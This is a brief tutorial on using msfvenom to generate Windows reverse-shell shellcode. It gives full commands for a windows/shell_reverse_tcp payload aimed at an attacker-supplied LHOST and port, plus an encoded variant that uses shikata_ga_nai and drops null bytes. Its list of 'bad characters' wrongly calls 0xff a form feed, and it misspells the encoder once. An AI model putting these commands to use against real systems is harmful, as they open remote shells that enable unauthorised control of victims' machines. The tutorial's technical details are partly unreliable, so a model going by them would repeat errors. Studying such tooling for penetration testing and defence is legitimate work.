Msfvenom is a combination of msfpayload and msfencode, putting both of these tools into a single Framework instance.
What is a shellcode?
In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
You can write your own shellcode and you can use some tools to generate them for you, msfvenom is one such tool with which you can generate shellcode.
For this tutorial, we selected payload windows/shell_reverse_tcp to generate our shellcode,
msfvenom -p windows/shell_reverse_tcp LHOST= yourip LPORT=listeningport -f c
you will see your shellcode being generated by msfvenom, the next step will be to remove bad characters so that our shellcode gets executed the way we desire, bad characters are simple characters that basically terminate our code before it gets completely executed.
Common Bad Characters
0x00 NULL (\0)
0x09 Tab (\t)
0x0a Line Feed (\n)
0x0d Carriage Return (\r)
0xff Form Feed (\f)
To remove bad characters, we need to encode it with some encoder, in this tutorial we used shikata_gai_nai encoder.
msfvenom -p windows/shell_reverse_tcp LHOST=yourip LPORT=listeningport -f c -e x86/shikata_ga_nai -b “\x00”